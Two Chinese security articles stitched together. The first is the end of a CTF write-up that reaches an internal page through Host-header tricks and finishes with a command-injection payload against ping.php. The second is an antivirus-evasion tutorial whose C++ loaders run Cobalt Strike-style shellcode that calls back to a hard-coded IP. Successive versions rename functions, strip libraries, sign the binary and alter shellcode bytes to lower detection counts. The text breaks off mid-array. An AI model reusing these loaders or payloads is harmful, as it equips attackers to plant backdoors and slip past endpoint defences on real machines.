<body>
<p>Current Visitors: 500</p>
<p>Quick links:</p>
<ul>
<li><a href="//support.no.vulnerable.services">Support</a></li>
<li><a href="lb.php">Load Balancers - BETA</a></li>
</ul>
</body>
</html>
**lb.php**
Beta Loadbalancer Stats
Online - HealthyOnline - Unhealthy Offline
216.165.2.4110.20.0.10
10.20.0.11
10.20.0.12
这里通过ip的方式大致推断216.165.2.41是一个代理服务器，直接访问是
404 Not Found
nginx/1.14.0 (Ubuntu)
`support.no.vulnerable.services`无法访问，猜测需要获取ip
ping support.no.vulnerable.services
正在 Ping support.no.vulnerable.services [172.16.2.5] 具有 32 字节的数据:
将ip转换为为16进制继续访问
http://ac100205.no.vulnerable.services/
无法访问此网站
网址为 http://ac100205.no.vulnerable.services/ 的网页可能暂时无法连接，或者它已永久性地移动到了新网址。
然后就涉及到知识盲区了，看wp之后，震惊，没想到burp还有这种功能
之前的理解是Target就是Host，不过这里学到了，具体什么情况只可意会不可言传
Target:support.no.vulnerable.services
GET / HTTP/1.1
Host: support.no.vulnerable.services
GET / HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
什么也没有返回
Target:<http://216.165.2.41:80>
GET / HTTP/1.1
Host: 216.165.2.41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
-------------- response
-------------- <html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
GET / HTTP/1.1
Host:support.no.vulnerable.services
·······
-------------- reponse
-------------- Hacking detected! Denied attempt to proxy to a NVS internal hostname. Your IP has been logged.
GET / HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
······
-------------- response
-------------- <html>
<head>
<title>NVS INTERNAL - Support</title>
</head>
<body>
<h1>NVS Support</h1>
<h3>General Debugging Steps</h3>
<ol>
<li>Tell the customer to turn it off and back on again.</li>
<li>Blame the customer for making a change.</li>
<li>Use the tools below to check for networking issues.</li>
</ol>
<hr/>
<h3>Tools</h3>
<p>Ping</p>
<form action="ping.php" method="get">
<input type="text" name="dest" placeholder="IP or hostname" />
<input type="submit" value="Ping" />
</form>
</body>
</html>
刚开始测试的时候主界面没有出来，后来就好了
最后的paylaod
GET /ping.php?dest=127.0.0.1`cat%20flag.txt` HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
### 对题目的一点点思考
这里题目调用谷歌的api，而且有相应的域名，所以理论上部分信息应该是可以被谷歌搜索到的(纯属个人思考，有问题欢迎大师傅指出，多多交流)
site:*.no.vulnerable.services
可以直接搜索到<http://admin.no.vulnerable.services/login.php>，不过需要登陆，但是提供了一些信息
<html>
<head>
<title>NVS INTERNAL - Login</title>
</head>
<body>
<form action="login.php" method="POST">
<input type="text" name="user" />
<input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</body>
</html>
而且看到子域名类的题目应该直接采用Seay的Layer子域名挖掘机
admin--->216.165.2.40
support--->172.16.2.5--->172.16.2.5 服务器响应时间过长.(说明存在,而且应该只能由类似域名访问）
static--->216.165.2.40--->Forbidden
······(这里就不跑了，应该还有很多,默认字典十分强大+爆破组合)
这道题目可以直接收集到的域名和对应的ip地址，会方便很多，直接提供一个大局观的思考,更加方便的做题。
参考资料：
<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection>
<http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html>
<https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/>
<https://cloud.tencent.com/developer/section/1190030>
<http://drops.xmd5.com/static/drops/papers-1383.html> | 社区文章 |
# 恶意程序初探
## Test1 原始代码
### 代码
#include <stdafx.h>
#include <windows.h>
using namespace std;
int main(int argc, char** argv)
{
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5a\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x39\x6c\x55\x62\x00\x13\xfe\xe1\xc6\x83\x56\xb8\x4f\xa7\x6f\x23\x49\x7c\x33\x12\x4b\x7a\xed\x09\x1a\x3f\x83\x99\x37\x76\x11\xba\xf9\x60\xe9\xb5\x48\xc3\x61\xfa\x80\x96\x9f\xd8\xe5\x82\x52\xca\x21\x40\x5c\x48\x3f\x5e\x2d\x38\x4a\x3e\xb1\x05\xf5\x64\x2c\xe9\x8e\xb3\x93\x7a\x44\xe2\xfc\x2f\x30\xbb\xf4\x6a\x4b\xd1\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xb8\xa3\x60\x3a\x2c\x86\xcc\x68\x54\x7d\x79\xe8\x00\x30\x72\xee\xfa\x99\x41\x0f\xc9\x24\x57\x88\x79\x7b\xd3\x11\xe3\x94\x29\x8b\xc9\x0b\xd0\x38\x30\xad\x04\x92\xd8\x6b\x3f\x5d\x71\x6b\x01\x0e\x91\xc9\x77\x14\x47\x56\xdb\xed\x3e\x97\xc9\x49\x17\xfd\xb2\xc4\xf8\x77\x59\x7f\x90\xfc\x10\x38\x19\x1e\xa0\xca\x16\x00\x90\x97\x1e\xae\x4c\x60\xf2\x01\x2a\xe3\x07\x30\x99\x53\xb4\xb7\xdb\x76\xe3\x7f\xb3\x35\xdf\x96\x9e\x40\x25\x82\x86\x93\xe9\x99\xe2\x0f\x4c\x5b\xda\x3a\x1a\xdb\x61\xc6\x36\xb4\x88\xce\xd8\xc0\x96\x7e\x78\x05\x86\xc9\x80\xee\xb0\x4d\x4c\xb4\x0c\xba\x05\x77\xe2\x6c\x87\xca\xfd\xc3\xdb\xe6\x76\x40\x3f\xaf\x60\xfc\x6b\xed\xb2\xf5\x46\x69\x09\xce\x62\xc8\x2c\xb8\x61\xa8\x5f\x02\x1e\x96\x24\x2a\x09\x22\xef\x97\x26\x1f\xe9\xda\x75\xb2\x4f\x81\x3e\x05\x93\x30\xed\x23\x2c\x1b\x59\xf4\x47\x0b\xa2\x15\xb8\x26\xcf\x06\xcf\x18\xaf\x7d\x96\x4f\x75\x2f\xf7\x29\xa1\x92\x8f\xf0\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x6f\xaa\x51\xc3";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
### 查杀效果 33/70
## Test2 替换敏感函数
### 原理
通过把重写敏感函数进行绕过杀软检测
### 代码
#include "stdafx.h"
#include "windows.h"
using namespace std;
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void *fackto(void* str1, const void* str2, size_t n)
{
return memcpy(str1, str2, n);
}
int main(int argc, char** argv)
{
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
void* exec = fAV(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fackto(exec, buf, sizeof buf);
((void(*)())exec)();
}
### 查杀效果 33/71
多绕过了一家杀软
## Test3 删除链接库
### 原理
有些反病毒软件会识别链接器中的问题，如果说xxx.lib这些编译器会自动帮我们加上，如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib)，某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。
### 代码
#include "stdafx.h"
#include "windows.h"
#include"public.hpp"
using namespace std;
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void *fackto(void* str1, const void* str2, size_t n)
{
return memcpy(str1, str2, n);
}
int main(int argc, char** argv)
{
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
UINT shellcodeSize = sizeof shellcode;
//2.Get shellcode memory
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fackto(Memory, shellcode, shellcodeSize);
//3.Execute shellcode
((void(*)())Memory)();
return 0;
}
也可以直接使用VS2019打开Test2代码，项目>>属性>>输入>>附加依赖项清空即可
### 查杀效果 27/71
## Test4 为二进制文件签名
### 原理
有些杀软可能会检测签名，我们可以给二进制木马文件加签名
### 查杀效果 24/71
## Test5 字符替换1
### 原理
void _memcpy(void_ str1, const void* str2, size_t n)
memcpy函数可以把从存储区 str2 复制 n 个字节到存储区 str1。
使用该原理我们可以修改CS生成的shellcode减少特征。
### 代码
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积
#endif
#include "stdafx.h"
#include "windows.h"
#include <iostream>
using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
return memcpy(str1, str2, n);
}
int main(int argc, char** argv)
{
unsigned char shellcode[] = "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x